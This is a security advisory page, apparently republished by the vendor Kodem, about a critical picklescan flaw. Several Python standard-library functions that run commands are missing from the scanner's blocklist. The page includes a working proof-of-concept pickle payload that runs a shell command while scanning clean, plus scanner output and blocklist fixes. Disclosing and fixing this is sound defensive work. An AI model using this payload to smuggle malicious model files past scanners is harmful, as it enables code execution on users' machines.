GHSA-G38G-8GR9-H9XP

GHSA-G38G-8GR9-H9XP is a critical-severity security vulnerability in picklescan (pip), affecting versions < 1.0.4. It is fixed in 1.0.4.

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8), Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

Module Function RCE Mechanism picklescan Result
uuid _get_command_stdout(cmd, *args) subprocess.Popen((cmd,) + args) CLEAN
_osx_support _read_output(cmdstring) os.system() via temp file CLEAN
_osx_support _find_build_tool(toolname) Command injection via %s CLEAN
_aix_support _read_cmd_output(cmdstring) os.system() CLEAN
_pyrepl.pager pipe_pager(text, cmd) subprocess.Popen(cmd, shell=True) CLEAN
_pyrepl.pager tempfile_pager(text, cmd) os.system(cmd + ...) CLEAN
imaplib IMAP4_stream(command) subprocess.Popen(command, shell=True) CLEAN
test.support.script_helper assert_python_ok(*args) Spawns python subprocess CLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

  • uuid, not blocked
  • _osx_support, not blocked
  • _aix_support, not blocked
  • _pyrepl, not blocked
  • _pyrepl.pager, not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
  • imaplib, not blocked
  • test, not blocked
  • test.support, not blocked
  • test.support.script_helper, not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout, arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

  • picklescan v1.0.3 (commit b999763, Feb 15 2026), latest release
  • picklescan v0.0.21, same result (modules never blocked in any version)

Resources

  • picklescan source: scanner.py lines 120-219 (_unsafe_globals)
  • Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

  • HuggingFace Hub, uses picklescan server-side to scan uploaded model files
  • ML pipelines, any CI/CD or loading pipeline using picklescan
  • Model registries, any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

GHSA-G38G-8GR9-H9XP has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.0.4); upgrading removes the vulnerable code path.

Affected versions

picklescan (< 1.0.4)

Security releases

picklescan → 1.0.4 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed, new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:

  1. Switching to an allowlist (default-deny) for permitted globals
  2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Frequently Asked Questions

  1. What is GHSA-G38G-8GR9-H9XP? GHSA-G38G-8GR9-H9XP is a critical-severity security vulnerability in picklescan (pip), affecting versions < 1.0.4. It is fixed in 1.0.4.
  2. How severe is GHSA-G38G-8GR9-H9XP? GHSA-G38G-8GR9-H9XP has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of picklescan are affected by GHSA-G38G-8GR9-H9XP? picklescan (pip) versions < 1.0.4 is affected.
  4. Is there a fix for GHSA-G38G-8GR9-H9XP? Yes. GHSA-G38G-8GR9-H9XP is fixed in 1.0.4. Upgrade to this version or later.
  5. Is GHSA-G38G-8GR9-H9XP exploitable, and should I be worried? Whether GHSA-G38G-8GR9-H9XP is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-G38G-8GR9-H9XP is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-G38G-8GR9-H9XP? Upgrade picklescan to 1.0.4 or later.

Other vulnerabilities in picklescan

CVE-2026-53873CVE-2026-53875CVE-2026-53874CVE-2026-53872CVE-2025-71339

Stop the waste.
Protect your environment with Kodem.